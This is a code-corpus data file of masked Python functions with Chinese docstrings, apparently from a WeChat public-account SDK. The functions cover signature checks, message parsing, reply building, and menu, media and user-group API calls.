{"signature": "def get_jsapi_ticket(self):", "body": "self._check_appid_appsecret()<EOL>return {<EOL>'<STR_LIT>': self.jsapi_ticket,<EOL>'<STR_LIT>': self.__jsapi_ticket_expires_at,<EOL>}<EOL>", "docstring": "\u83b7\u53d6 Jsapi Ticket \u53ca Jsapi Ticket \u8fc7\u671f\u65e5\u671f, \u4ec5\u4f9b\u7f13\u5b58\u4f7f\u7528, \u5982\u679c\u5e0c\u671b\u5f97\u5230\u539f\u751f\u7684 Jsapi Ticket \u8bf7\u6c42\u6570\u636e\u8bf7\u4f7f\u7528 :func:`grant_jsapi_ticket`\n**\u4ec5\u4e3a\u517c\u5bb9 v0.6.0 \u4ee5\u524d\u7248\u672c\u4f7f\u7528, \u81ea\u884c\u7ef4\u62a4 jsapi_ticket \u8bf7\u4f7f\u7528 jsapi_ticket_setfunc \u548c jsapi_ticket_getfunc \u8fdb\u884c\u64cd\u4f5c**\n:return: dict \u5bf9\u8c61, key \u5305\u62ec `jsapi_ticket` \u53ca `jsapi_ticket_expires_at`", "id": "f587:c0:m19"}
{"signature": "def _check_token(self):", "body": "if not self.__token:<EOL><INDENT>raise NeedParamError('<STR_LIT>')<EOL><DEDENT>", "docstring": "\u68c0\u67e5 Token \u662f\u5426\u5b58\u5728\n:raises NeedParamError: Token \u53c2\u6570\u6ca1\u6709\u5728\u521d\u59cb\u5316\u7684\u65f6\u5019\u63d0\u4f9b", "id": "f587:c0:m20"}
{"signature": "def _check_appid_appsecret(self):", "body": "if not self.__appid or not self.__appsecret:<EOL><INDENT>raise NeedParamError('<STR_LIT>')<EOL><DEDENT>", "docstring": "\u68c0\u67e5 AppID \u548c AppSecret \u662f\u5426\u5b58\u5728\n:raises NeedParamError: AppID \u6216 AppSecret \u53c2\u6570\u6ca1\u6709\u5728\u521d\u59cb\u5316\u7684\u65f6\u5019\u5b8c\u6574\u63d0\u4f9b", "id": "f587:c0:m21"}
{"signature": "def _update_crypto(self):", "body": "if self.__encrypt_mode in ['<STR_LIT>', '<STR_LIT>'] and self.__encoding_aes_key is not None:<EOL><INDENT>if self.__token is None or self.__appid is None:<EOL><INDENT>raise NeedParamError('<STR_LIT>')<EOL><DEDENT>self.__crypto = BasicCrypto(self.__token, self.__encoding_aes_key, self.__appid)<EOL><DEDENT>else:<EOL><INDENT>self.__crypto = None<EOL><DEDENT>", "docstring": "\u6839\u636e\u5f53\u524d\u914d\u7f6e\u5185\u5bb9\u66f4\u65b0 Crypto \u7c7b", "id": "f587:c0:m22"}
{"signature": "def __init__(self, token=None, appid=None, appsecret=None, partnerid=None,<EOL>partnerkey=None, paysignkey=None, access_token=None, access_token_expires_at=None,<EOL>jsapi_ticket=None, jsapi_ticket_expires_at=None, checkssl=False, conf=None):", "body": "if conf is not None:<EOL><INDENT>self.__conf = conf<EOL><DEDENT>elif isinstance(token, WechatConf):  <EOL><INDENT>self.__conf = token<EOL><DEDENT>else:  <EOL><INDENT>self.__conf = WechatConf(<EOL>token=token,<EOL>appid=appid,<EOL>appsecret=appsecret,<EOL>access_token=access_token,<EOL>access_token_expires_at=access_token_expires_at,<EOL>jsapi_ticket=jsapi_ticket,<EOL>jsapi_ticket_expires_at=jsapi_ticket_expires_at,<EOL>encrypt_mode='<STR_LIT>',<EOL>partnerid=partnerid,<EOL>partnerkey=partnerkey,<EOL>paysignkey=paysignkey,<EOL>checkssl=checkssl,<EOL>)<EOL><DEDENT>self.__request = WechatRequest(conf=self.__conf)<EOL>self.__is_parse = False<EOL>self.__message = None<EOL>", "docstring": ":param token: \u5fae\u4fe1 Token\n:param appid: App ID\n:param appsecret: App Secret\n:param partnerid: \u8d22\u4ed8\u901a\u5546\u6237\u8eab\u4efd\u6807\u8bc6, \u652f\u4ed8\u6743\u9650\u4e13\u7528\n:param partnerkey: \u8d22\u4ed8\u901a\u5546\u6237\u6743\u9650\u5bc6\u94a5 Key, \u652f\u4ed8\u6743\u9650\u4e13\u7528\n:param paysignkey: \u5546\u6237\u7b7e\u540d\u5bc6\u94a5 Key, \u652f\u4ed8\u6743\u9650\u4e13\u7528\n:param access_token: \u76f4\u63a5\u5bfc\u5165\u7684 access_token \u503c, \u8be5\u503c\u9700\u8981\u5728\u4e0a\u4e00\u6b21\u8be5\u7c7b\u5b9e\u4f8b\u5316\u4e4b\u540e\u624b\u52a8\u8fdb\u884c\u7f13\u5b58\u5e76\u5728\u6b64\u5904\u4f20\u5165, \u5982\u679c\u4e0d\u4f20\u5165, \u5c06\u4f1a\u5728\u9700\u8981\u65f6\u81ea\u52a8\u91cd\u65b0\u83b7\u53d6\n:param access_token_expires_at: \u76f4\u63a5\u5bfc\u5165\u7684 access_token \u7684\u8fc7\u671f\u65e5\u671f\uff0c\u8be5\u503c\u9700\u8981\u5728\u4e0a\u4e00\u6b21\u8be5\u7c7b\u5b9e\u4f8b\u5316\u4e4b\u540e\u624b\u52a8\u8fdb\u884c\u7f13\u5b58\u5e76\u5728\u6b64\u5904\u4f20\u5165, \u5982\u679c\u4e0d\u4f20\u5165, \u5c06\u4f1a\u5728\u9700\u8981\u65f6\u81ea\u52a8\u91cd\u65b0\u83b7\u53d6\n:param jsapi_ticket: \u76f4\u63a5\u5bfc\u5165\u7684 jsapi_ticket \u503c, \u8be5\u503c\u9700\u8981\u5728\u4e0a\u4e00\u6b21\u8be5\u7c7b\u5b9e\u4f8b\u5316\u4e4b\u540e\u624b\u52a8\u8fdb\u884c\u7f13\u5b58\u5e76\u5728\u6b64\u5904\u4f20\u5165, \u5982\u679c\u4e0d\u4f20\u5165, \u5c06\u4f1a\u5728\u9700\u8981\u65f6\u81ea\u52a8\u91cd\u65b0\u83b7\u53d6\n:param jsapi_ticket_expires_at: \u76f4\u63a5\u5bfc\u5165\u7684 jsapi_ticket \u7684\u8fc7\u671f\u65e5\u671f\uff0c\u8be5\u503c\u9700\u8981\u5728\u4e0a\u4e00\u6b21\u8be5\u7c7b\u5b9e\u4f8b\u5316\u4e4b\u540e\u624b\u52a8\u8fdb\u884c\u7f13\u5b58\u5e76\u5728\u6b64\u5904\u4f20\u5165, \u5982\u679c\u4e0d\u4f20\u5165, \u5c06\u4f1a\u5728\u9700\u8981\u65f6\u81ea\u52a8\u91cd\u65b0\u83b7\u53d6\n:param checkssl: \u662f\u5426\u68c0\u67e5 SSL, \u9ed8\u8ba4\u4e3a False, \u53ef\u907f\u514d urllib3 \u7684 InsecurePlatformWarning \u8b66\u544a\n:param conf: WechatConf \u914d\u7f6e\u7c7b, \u63d0\u4f9b\u6b64\u53c2\u6570\u5c06\u9ed8\u8ba4\u5ffd\u7565\u5176\u4ed6\u6240\u6709\u53c2\u6570, \u6240\u6709\u6570\u636e\u5747\u4ece\u6b64\u914d\u7f6e\u7c7b\u4e2d\u83b7\u53d6", "id": "f588:c0:m0"}
{"signature": "@property<EOL><INDENT>def conf(self):<DEDENT>", "body": "return self.__conf<EOL>", "docstring": "\u83b7\u53d6\u5f53\u524d WechatConf \u914d\u7f6e\u5b9e\u4f8b", "id": "f588:c0:m1"}
{"signature": "@conf.setter<EOL><INDENT>def conf(self, conf):<DEDENT>", "body": "self.__conf = conf<EOL>self.__request = WechatRequest(conf=self.__conf)<EOL>", "docstring": "\u8bbe\u7f6e\u5f53\u524d WechatConf \u5b9e\u4f8b", "id": "f588:c0:m2"}
{"signature": "@property<EOL><INDENT>def request(self):<DEDENT>", "body": "return self.__request<EOL>", "docstring": "\u83b7\u53d6\u5f53\u524d WechatConf \u914d\u7f6e\u5b9e\u4f8b", "id": "f588:c0:m3"}
{"signature": "@request.setter<EOL><INDENT>def request(self, request):<DEDENT>", "body": "self.__request = request<EOL>", "docstring": "\u8bbe\u7f6e\u5f53\u524d WechatConf \u5b9e\u4f8b", "id": "f588:c0:m4"}
{"signature": "def check_signature(self, signature, timestamp, nonce):", "body": "if not signature or not timestamp or not nonce:<EOL><INDENT>return False<EOL><DEDENT>tmp_list = [self.conf.token, timestamp, nonce]<EOL>tmp_list.sort()<EOL>tmp_str = '<STR_LIT>'.join(tmp_list)<EOL>if signature != hashlib.sha1(tmp_str.encode('<STR_LIT:utf-8>')).hexdigest():<EOL><INDENT>return False<EOL><DEDENT>return True<EOL>", "docstring": "\u9a8c\u8bc1\u5fae\u4fe1\u6d88\u606f\u771f\u5b9e\u6027\n:param signature: \u5fae\u4fe1\u52a0\u5bc6\u7b7e\u540d\n:param timestamp: \u65f6\u95f4\u6233\n:param nonce: \u968f\u673a\u6570\n:return: \u901a\u8fc7\u9a8c\u8bc1\u8fd4\u56de True, \u672a\u901a\u8fc7\u9a8c\u8bc1\u8fd4\u56de False", "id": "f588:c0:m5"}
{"signature": "def generate_jsapi_signature(self, timestamp, noncestr, url, jsapi_ticket=None):", "body": "if not jsapi_ticket:<EOL><INDENT>jsapi_ticket = self.conf.jsapi_ticket<EOL><DEDENT>data = {<EOL>'<STR_LIT>': jsapi_ticket,<EOL>'<STR_LIT>': noncestr,<EOL>'<STR_LIT>': timestamp,<EOL>'<STR_LIT:url>': url,<EOL>}<EOL>keys = list(data.keys())<EOL>keys.sort()<EOL>data_str = '<STR_LIT:&>'.join(['<STR_LIT>' % (key, data[key]) for key in keys])<EOL>signature = hashlib.sha1(data_str.encode('<STR_LIT:utf-8>')).hexdigest()<EOL>return signature<EOL>", "docstring": "\u4f7f\u7528 jsapi_ticket \u5bf9 url \u8fdb\u884c\u7b7e\u540d\n:param timestamp: \u65f6\u95f4\u6233\n:param noncestr: \u968f\u673a\u6570\n:param url: \u8981\u7b7e\u540d\u7684 url\uff0c\u4e0d\u5305\u542b # \u53ca\u5176\u540e\u9762\u90e8\u5206\n:param jsapi_ticket: (\u53ef\u9009\u53c2\u6570) jsapi_ticket \u503c (\u5982\u4e0d\u63d0\u4f9b\u5c06\u81ea\u52a8\u901a\u8fc7 appid \u548c appsecret \u83b7\u53d6)\n:return: \u8fd4\u56desha1\u7b7e\u540d\u7684hexdigest\u503c", "id": "f588:c0:m6"}
{"signature": "def parse_data(self, data, msg_signature=None, timestamp=None, nonce=None):", "body": "result = {}<EOL>if isinstance(data, six.text_type):  <EOL><INDENT>data = data.encode('<STR_LIT:utf-8>')<EOL><DEDENT>if self.conf.encrypt_mode == '<STR_LIT>':<EOL><INDENT>if not (msg_signature and timestamp and nonce):<EOL><INDENT>raise ParseError('<STR_LIT>')<EOL><DEDENT>data = self.conf.crypto.decrypt_message(<EOL>msg=data,<EOL>msg_signature=msg_signature,<EOL>timestamp=timestamp,<EOL>nonce=nonce,<EOL>)<EOL><DEDENT>try:<EOL><INDENT>xml = XMLStore(xmlstring=data)<EOL><DEDENT>except Exception:<EOL><INDENT>raise ParseError()<EOL><DEDENT>result = xml.xml2dict<EOL>result['<STR_LIT>'] = data<EOL>result['<STR_LIT:type>'] = result.pop('<STR_LIT>').lower()<EOL>message_type = MESSAGE_TYPES.get(result['<STR_LIT:type>'], UnknownMessage)<EOL>self.__message = message_type(result)<EOL>self.__is_parse = True<EOL>", "docstring": "\u89e3\u6790\u5fae\u4fe1\u670d\u52a1\u5668\u53d1\u9001\u8fc7\u6765\u7684\u6570\u636e\u5e76\u4fdd\u5b58\u7c7b\u4e2d\n:param data: HTTP Request \u7684 Body \u6570\u636e\n:param msg_signature: EncodingAESKey \u7684 msg_signature\n:param timestamp: EncodingAESKey \u7528\u65f6\u95f4\u6233\n:param nonce: EncodingAESKey \u7528\u968f\u673a\u6570\n:raises ParseError: \u89e3\u6790\u5fae\u4fe1\u670d\u52a1\u5668\u6570\u636e\u9519\u8bef, \u6570\u636e\u4e0d\u5408\u6cd5", "id": "f588:c0:m7"}
{"signature": "def get_message(self):", "body": "self._check_parse()<EOL>return self.__message<EOL>", "docstring": "\u83b7\u53d6\u89e3\u6790\u597d\u7684 WechatMessage \u5bf9\u8c61\n:return: \u89e3\u6790\u597d\u7684 WechatMessage \u5bf9\u8c61", "id": "f588:c0:m9"}
{"signature": "def get_access_token(self):", "body": "return self.conf.get_access_token()<EOL>", "docstring": "\u83b7\u53d6 Access Token \u53ca Access Token \u8fc7\u671f\u65e5\u671f, \u4ec5\u4f9b\u7f13\u5b58\u4f7f\u7528, \u5982\u679c\u5e0c\u671b\u5f97\u5230\u539f\u751f\u7684 Access Token \u8bf7\u6c42\u6570\u636e\u8bf7\u4f7f\u7528 :func:`grant_token`\n**\u4ec5\u4e3a\u517c\u5bb9 v0.6.0 \u4ee5\u524d\u7248\u672c\u4f7f\u7528, \u81ea\u884c\u7ef4\u62a4 access_token \u8bf7\u4f7f\u7528 access_token_setfunc \u548c access_token_getfunc \u8fdb\u884c\u64cd\u4f5c**\n:return: dict \u5bf9\u8c61, key \u5305\u62ec `access_token` \u53ca `access_token_expires_at`", "id": "f588:c0:m10"}
{"signature": "def get_jsapi_ticket(self):", "body": "return self.conf.get_jsapi_ticket()<EOL>", "docstring": "\u83b7\u53d6 Jsapi Ticket \u53ca Jsapi Ticket \u8fc7\u671f\u65e5\u671f, \u4ec5\u4f9b\u7f13\u5b58\u4f7f\u7528, \u5982\u679c\u5e0c\u671b\u5f97\u5230\u539f\u751f\u7684 Jsapi Ticket \u8bf7\u6c42\u6570\u636e\u8bf7\u4f7f\u7528 :func:`grant_jsapi_ticket`\n**\u4ec5\u4e3a\u517c\u5bb9 v0.6.0 \u4ee5\u524d\u7248\u672c\u4f7f\u7528, \u81ea\u884c\u7ef4\u62a4 jsapi_ticket \u8bf7\u4f7f\u7528 jsapi_ticket_setfunc \u548c jsapi_ticket_getfunc \u8fdb\u884c\u64cd\u4f5c**\n:return: dict \u5bf9\u8c61, key \u5305\u62ec `jsapi_ticket` \u53ca `jsapi_ticket_expires_at`", "id": "f588:c0:m11"}
{"signature": "def response_none(self):", "body": "self._check_parse()<EOL>return self._encrypt_response('<STR_LIT:success>')<EOL>", "docstring": "\u56de\u590d\u7a7a\u6d88\u606f\n:return: \u7b26\u5408\u5fae\u4fe1\u670d\u52a1\u5668\u8981\u6c42\u7684\u7a7a\u6d88\u606f", "id": "f588:c0:m12"}
{"signature": "def response_text(self, content, escape=False):", "body": "self._check_parse()<EOL>content = self._transcoding(content)<EOL>if escape:<EOL><INDENT>if six.PY2:<EOL><INDENT>content = cgi.escape(content)<EOL><DEDENT>else:<EOL><INDENT>import html<EOL>content = html.escape(content)<EOL><DEDENT><DEDENT>response = TextReply(message=self.__message, content=content).render()<EOL>return self._encrypt_response(response)<EOL>", "docstring": "\u5c06\u6587\u5b57\u4fe1\u606f content \u7ec4\u88c5\u4e3a\u7b26\u5408\u5fae\u4fe1\u670d\u52a1\u5668\u8981\u6c42\u7684\u54cd\u5e94\u6570\u636e\n:param content: \u56de\u590d\u6587\u5b57\n:param escape: \u662f\u5426\u8f6c\u4e49\u8be5\u6587\u672c\u5185\u5bb9 (\u9ed8\u8ba4\u4e0d\u8f6c\u4e49)\n:return: \u7b26\u5408\u5fae\u4fe1\u670d\u52a1\u5668\u8981\u6c42\u7684 XML \u54cd\u5e94\u6570\u636e", "id": "f588:c0:m13"}
{"signature": "def response_image(self, media_id):", "body": "self._check_parse()<EOL>response = ImageReply(message=self.__message, media_id=media_id).render()<EOL>return self._encrypt_response(response)<EOL>", "docstring": "\u5c06 media_id \u6240\u4ee3\u8868\u7684\u56fe\u7247\u7ec4\u88c5\u4e3a\u7b26\u5408\u5fae\u4fe1\u670d\u52a1\u5668\u8981\u6c42\u7684\u54cd\u5e94\u6570\u636e\n:param media_id: \u56fe\u7247\u7684 MediaID\n:return: \u7b26\u5408\u5fae\u4fe1\u670d\u52a1\u5668\u8981\u6c42\u7684 XML \u54cd\u5e94\u6570\u636e", "id": "f588:c0:m14"}
{"signature": "def response_voice(self, media_id):", "body": "self._check_parse()<EOL>response = VoiceReply(message=self.__message, media_id=media_id).render()<EOL>return self._encrypt_response(response)<EOL>", "docstring": "\u5c06 media_id \u6240\u4ee3\u8868\u7684\u8bed\u97f3\u7ec4\u88c5\u4e3a\u7b26\u5408\u5fae\u4fe1\u670d\u52a1\u5668\u8981\u6c42\u7684\u54cd\u5e94\u6570\u636e\n:param media_id: \u8bed\u97f3\u7684 MediaID\n:return: \u7b26\u5408\u5fae\u4fe1\u670d\u52a1\u5668\u8981\u6c42\u7684 XML \u54cd\u5e94\u6570\u636e", "id": "f588:c0:m15"}
{"signature": "def response_video(self, media_id, title=None, description=None):", "body": "self._check_parse()<EOL>title = self._transcoding(title)<EOL>description = self._transcoding(description)<EOL>response = VideoReply(message=self.__message, media_id=media_id, title=title, description=description).render()<EOL>return self._encrypt_response(response)<EOL>", "docstring": "\u5c06 media_id \u6240\u4ee3\u8868\u7684\u89c6\u9891\u7ec4\u88c5\u4e3a\u7b26\u5408\u5fae\u4fe1\u670d\u52a1\u5668\u8981\u6c42\u7684\u54cd\u5e94\u6570\u636e\n:param media_id: \u89c6\u9891\u7684 MediaID\n:param title: \u89c6\u9891\u6d88\u606f\u7684\u6807\u9898\n:param description: \u89c6\u9891\u6d88\u606f\u7684\u63cf\u8ff0\n:return: \u7b26\u5408\u5fae\u4fe1\u670d\u52a1\u5668\u8981\u6c42\u7684 XML \u54cd\u5e94\u6570\u636e", "id": "f588:c0:m16"}
{"signature": "def response_music(self, music_url, title=None, description=None, hq_music_url=None, thumb_media_id=None):", "body": "self._check_parse()<EOL>music_url = self._transcoding(music_url)<EOL>title = self._transcoding(title)<EOL>description = self._transcoding(description)<EOL>hq_music_url = self._transcoding(hq_music_url)<EOL>response = MusicReply(message=self.__message, title=title, description=description, music_url=music_url,<EOL>hq_music_url=hq_music_url, thumb_media_id=thumb_media_id).render()<EOL>return self._encrypt_response(response)<EOL>", "docstring": "\u5c06\u97f3\u4e50\u4fe1\u606f\u7ec4\u88c5\u4e3a\u7b26\u5408\u5fae\u4fe1\u670d\u52a1\u5668\u8981\u6c42\u7684\u54cd\u5e94\u6570\u636e\n:param music_url: \u97f3\u4e50\u94fe\u63a5\n:param title: \u97f3\u4e50\u6807\u9898\n:param description: \u97f3\u4e50\u63cf\u8ff0\n:param hq_music_url: \u9ad8\u8d28\u91cf\u97f3\u4e50\u94fe\u63a5, WIFI\u73af\u5883\u4f18\u5148\u4f7f\u7528\u8be5\u94fe\u63a5\u64ad\u653e\u97f3\u4e50\n:param thumb_media_id: \u7f29\u7565\u56fe\u7684 MediaID\n:return: \u7b26\u5408\u5fae\u4fe1\u670d\u52a1\u5668\u8981\u6c42\u7684 XML \u54cd\u5e94\u6570\u636e", "id": "f588:c0:m17"}
{"signature": "def response_news(self, articles):", "body": "self._check_parse()<EOL>for article in articles:<EOL><INDENT>if article.get('<STR_LIT:title>'):<EOL><INDENT>article['<STR_LIT:title>'] = self._transcoding(article['<STR_LIT:title>'])<EOL><DEDENT>if article.get('<STR_LIT:description>'):<EOL><INDENT>article['<STR_LIT:description>'] = self._transcoding(article['<STR_LIT:description>'])<EOL><DEDENT>if article.get('<STR_LIT>'):<EOL><INDENT>article['<STR_LIT>'] = self._transcoding(article['<STR_LIT>'])<EOL><DEDENT>if article.get('<STR_LIT:url>'):<EOL><INDENT>article['<STR_LIT:url>'] = self._transcoding(article['<STR_LIT:url>'])<EOL><DEDENT><DEDENT>news = ArticleReply(message=self.__message)<EOL>for article in articles:<EOL><INDENT>article = Article(**article)<EOL>news.add_article(article)<EOL><DEDENT>response = news.render()<EOL>return self._encrypt_response(response)<EOL>", "docstring": "\u5c06\u65b0\u95fb\u4fe1\u606f\u7ec4\u88c5\u4e3a\u7b26\u5408\u5fae\u4fe1\u670d\u52a1\u5668\u8981\u6c42\u7684\u54cd\u5e94\u6570\u636e\n:param articles: list \u5bf9\u8c61, \u6bcf\u4e2a\u5143\u7d20\u4e3a\u4e00\u4e2a dict \u5bf9\u8c61, key \u5305\u542b `title`, `description`, `picurl`, `url`\n:return: \u7b26\u5408\u5fae\u4fe1\u670d\u52a1\u5668\u8981\u6c42\u7684 XML \u54cd\u5e94\u6570\u636e", "id": "f588:c0:m18"}
{"signature": "def group_transfer_message(self):", "body": "self._check_parse()<EOL>response = GroupTransferReply(message=self.__message).render()<EOL>return self._encrypt_response(response)<EOL>", "docstring": "\u5c06 message \u7fa4\u53d1\u5230\u591a\u5ba2\u670d\u7cfb\u7edf\n:return: \u7b26\u5408\u5fae\u4fe1\u670d\u52a1\u5668\u8981\u6c42\u7684 XML \u54cd\u5e94\u6570\u636e", "id": "f588:c0:m19"}
{"signature": "def grant_token(self, **kwargs):", "body": "return self.conf.grant_access_token()<EOL>", "docstring": "\u83b7\u53d6 Access Token\n\u8be6\u60c5\u8bf7\u53c2\u8003 http://mp.weixin.qq.com/wiki/11/0e4b294685f817b95cbed85ba5e82b8f.html\n:return: \u8fd4\u56de\u7684 JSON \u6570\u636e\u5305", "id": "f588:c0:m20"}
{"signature": "def grant_jsapi_ticket(self, **kwargs):", "body": "return self.conf.grant_jsapi_ticket()<EOL>", "docstring": "\u83b7\u53d6 Jsapi Ticket\n\u8be6\u60c5\u8bf7\u53c2\u8003 http://mp.weixin.qq.com/wiki/7/aaa137b55fb2e0456bf8dd9148dd613f.html#.E9.99.84.E5.BD.951-JS-SDK.E4.BD.BF.E7.94.A8.E6.9D.83.E9.99.90.E7.AD.BE.E5.90.8D.E7.AE.97.E6.B3.95\n:return: \u8fd4\u56de\u7684 JSON \u6570\u636e\u5305", "id": "f588:c0:m21"}
{"signature": "def create_menu(self, menu_data):", "body": "menu_data = self._transcoding_dict(menu_data)<EOL>return self.request.post(<EOL>url='<STR_LIT>',<EOL>data=menu_data<EOL>)<EOL>", "docstring": "\u521b\u5efa\u81ea\u5b9a\u4e49\u83dc\u5355 ::\n\n    # -*- coding: utf-8 -*-\n    wechat = WechatBasic(appid='appid', appsecret='appsecret')\n    wechat.create_menu({\n        'button':[\n            {\n                'type': 'click',\n                'name': '\u4eca\u65e5\u6b4c\u66f2',\n                'key': 'V1001_TODAY_MUSIC'\n            },\n            {\n                'type': 'click',\n                'name': '\u6b4c\u624b\u7b80\u4ecb',\n                'key': 'V1001_TODAY_SINGER'\n            },\n            {\n                'name': '\u83dc\u5355',\n                'sub_button': [\n                    {\n                        'type': 'view',\n                        'name': '\u641c\u7d22',\n                        'url': 'http://www.soso.com/'\n                    },\n                    {\n                        'type': 'view',\n                        'name': '\u89c6\u9891',\n                        'url': 'http://v.qq.com/'\n                    },\n                    {\n                        'type': 'click',\n                        'name': '\u8d5e\u4e00\u4e0b\u6211\u4eec',\n                        'key': 'V1001_GOOD'\n                    }\n                ]\n            }\n        ]})\n\n\u8be6\u60c5\u8bf7\u53c2\u8003 http://mp.weixin.qq.com/wiki/13/43de8269be54a0a6f64413e4dfa94f39.html\n:param menu_data: Python \u5b57\u5178\n:return: \u8fd4\u56de\u7684 JSON \u6570\u636e\u5305", "id": "f588:c0:m22"}
{"signature": "def get_menu(self):", "body": "return self.request.get('<STR_LIT>')<EOL>", "docstring": "\u67e5\u8be2\u81ea\u5b9a\u4e49\u83dc\u5355\n\u8be6\u60c5\u8bf7\u53c2\u8003 http://mp.weixin.qq.com/wiki/16/ff9b7b85220e1396ffa16794a9d95adc.html\n:return: \u8fd4\u56de\u7684 JSON \u6570\u636e\u5305", "id": "f588:c0:m23"}
{"signature": "def delete_menu(self):", "body": "return self.request.get('<STR_LIT>')<EOL>", "docstring": "\u5220\u9664\u81ea\u5b9a\u4e49\u83dc\u5355\n\u8be6\u60c5\u8bf7\u53c2\u8003 http://mp.weixin.qq.com/wiki/16/8ed41ba931e4845844ad6d1eeb8060c8.html\n:return: \u8fd4\u56de\u7684 JSON \u6570\u636e\u5305", "id": "f588:c0:m24"}
{"signature": "def upload_media(self, media_type, media_file, extension='<STR_LIT>'):", "body": "if six.PY2:<EOL><INDENT>return self._upload_media_py2(media_type, media_file, extension)<EOL><DEDENT>else:<EOL><INDENT>return self._upload_media_py3(media_type, media_file, extension)<EOL><DEDENT>", "docstring": "\u4e0a\u4f20\u591a\u5a92\u4f53\u6587\u4ef6\n\u8be6\u60c5\u8bf7\u53c2\u8003 http://mp.weixin.qq.com/wiki/10/78b15308b053286e2a66b33f0f0f5fb6.html\n:param media_type: \u5a92\u4f53\u6587\u4ef6\u7c7b\u578b\uff0c\u5206\u522b\u6709\u56fe\u7247\uff08image\uff09\u3001\u8bed\u97f3\uff08voice\uff09\u3001\u89c6\u9891\uff08video\uff09\u548c\u7f29\u7565\u56fe\uff08thumb\uff09\n:param media_file: \u8981\u4e0a\u4f20\u7684\u6587\u4ef6\uff0c\u4e00\u4e2a File object \u6216 StringIO object\n:param extension: \u5982\u679c media_file \u4f20\u5165\u7684\u4e3a StringIO object\uff0c\u90a3\u4e48\u5fc5\u987b\u4f20\u5165 extension \u663e\u793a\u6307\u660e\u8be5\u5a92\u4f53\u6587\u4ef6\u6269\u5c55\u540d\uff0c\u5982 ``mp3``, ``amr``\uff1b\u5982\u679c media_file \u4f20\u5165\u7684\u4e3a File object\uff0c\u90a3\u4e48\u8be5\u53c2\u6570\u8bf7\u7559\u7a7a\n:return: \u8fd4\u56de\u7684 JSON \u6570\u636e\u5305", "id": "f588:c0:m25"}
{"signature": "def download_media(self, media_id):", "body": "return self.request.get(<EOL>'<STR_LIT>',<EOL>params={<EOL>'<STR_LIT>': media_id,<EOL>},<EOL>stream=True,<EOL>)<EOL>", "docstring": "\u4e0b\u8f7d\u591a\u5a92\u4f53\u6587\u4ef6\n\u8be6\u60c5\u8bf7\u53c2\u8003 http://mp.weixin.qq.com/wiki/10/78b15308b053286e2a66b33f0f0f5fb6.html\n:param media_id: \u5a92\u4f53\u6587\u4ef6 ID\n:return: requests \u7684 Response \u5b9e\u4f8b", "id": "f588:c0:m28"}
{"signature": "def create_group(self, name):", "body": "return self.request.post(<EOL>url='<STR_LIT>',<EOL>data={<EOL>'<STR_LIT>': {<EOL>'<STR_LIT:name>': name,<EOL>},<EOL>}<EOL>)<EOL>", "docstring": "\u521b\u5efa\u5206\u7ec4\n\u8be6\u60c5\u8bf7\u53c2\u8003 http://mp.weixin.qq.com/wiki/13/be5272dc4930300ba561d927aead2569.html\n:param name: \u5206\u7ec4\u540d\u5b57\uff0830\u4e2a\u5b57\u7b26\u4ee5\u5185\uff09\n:return: \u8fd4\u56de\u7684 JSON \u6570\u636e\u5305\n:raise HTTPError: \u5fae\u4fe1api http \u8bf7\u6c42\u5931\u8d25", "id": "f588:c0:m29"}
{"signature": "def get_groups(self):", "body": "return self.request.get('<STR_LIT>')<EOL>", "docstring": "\u67e5\u8be2\u6240\u6709\u5206\u7ec4\n\u8be6\u60c5\u8bf7\u53c2\u8003 http://mp.weixin.qq.com/wiki/13/be5272dc4930300ba561d927aead2569.html\n:return: \u8fd4\u56de\u7684 JSON \u6570\u636e\u5305", "id": "f588:c0:m30"}
{"signature": "def get_group_by_id(self, openid):", "body": "return self.request.post(<EOL>url='<STR_LIT>',<EOL>data={<EOL>'<STR_LIT>': openid,<EOL>}<EOL>)<EOL>", "docstring": "\u67e5\u8be2\u7528\u6237\u6240\u5728\u5206\u7ec4\n\u8be6\u60c5\u8bf7\u53c2\u8003 http://mp.weixin.qq.com/wiki/13/be5272dc4930300ba561d927aead2569.html\n:param openid: \u7528\u6237\u7684OpenID\n:return: \u8fd4\u56de\u7684 JSON \u6570\u636e\u5305", "id": "f588:c0:m31"}
{"signature": "def update_group(self, group_id, name):", "body": "return self.request.post(<EOL>url='<STR_LIT>',<EOL>data={<EOL>'<STR_LIT>': {<EOL>'<STR_LIT:id>': int(group_id),<EOL>'<STR_LIT:name>': name,<EOL>}<EOL>}<EOL>)<EOL>", "docstring": "\u4fee\u6539\u5206\u7ec4\u540d\n\u8be6\u60c5\u8bf7\u53c2\u8003 http://mp.weixin.qq.com/wiki/13/be5272dc4930300ba561d927aead2569.html\n:param group_id: \u5206\u7ec4id\uff0c\u7531\u5fae\u4fe1\u5206\u914d\n:param name: \u5206\u7ec4\u540d\u5b57\uff0830\u4e2a\u5b57\u7b26\u4ee5\u5185\uff09\n:return: \u8fd4\u56de\u7684 JSON \u6570\u636e\u5305", "id": "f588:c0:m32"}
{"signature": "def move_user(self, user_id, group_id):", "body": "return self.request.post(<EOL>url='<STR_LIT>',<EOL>data={<EOL>'<STR_LIT>': user_id,<EOL>'<STR_LIT>': group_id,<EOL>}<EOL>)<EOL>", "docstring": "\u79fb\u52a8\u7528\u6237\u5206\u7ec4\n\u8be6\u60c5\u8bf7\u53c2\u8003 http://mp.weixin.qq.com/wiki/13/be5272dc4930300ba561d927aead2569.html\n:param user_id: \u7528\u6237 ID \u3002 \u5c31\u662f\u4f60\u6536\u5230\u7684 WechatMessage \u7684 source\n:param group_id: \u5206\u7ec4 ID\n:return: \u8fd4\u56de\u7684 JSON \u6570\u636e\u5305", "id": "f588:c0:m33"}
{"signature": "def get_user_info(self, user_id, lang='<STR_LIT>'):", "body": "return self.request.get(<EOL>url='<STR_LIT>',<EOL>params={<EOL>'<STR_LIT>': user_id,<EOL>'<STR_LIT>': lang,<EOL>}<EOL>)<EOL>", "docstring": "\u83b7\u53d6\u7528\u6237\u57fa\u672c\u4fe1\u606f\n\u8be6\u60c5\u8bf7\u53c2\u8003 http://mp.weixin.qq.com/wiki/14/bb5031008f1494a59c6f71fa0f319c66.html\n:param user_id: \u7528\u6237 ID, \u5c31\u662f\u4f60\u6536\u5230\u7684 WechatMessage \u7684 source\n:param lang: \u8fd4\u56de\u56fd\u5bb6\u5730\u533a\u8bed\u8a00\u7248\u672c\uff0czh_CN \u7b80\u4f53\uff0czh_TW \u7e41\u4f53\uff0cen \u82f1\u8bed\n:return: \u8fd4\u56de\u7684 JSON \u6570\u636e\u5305", "id": "f588:c0:m34"}
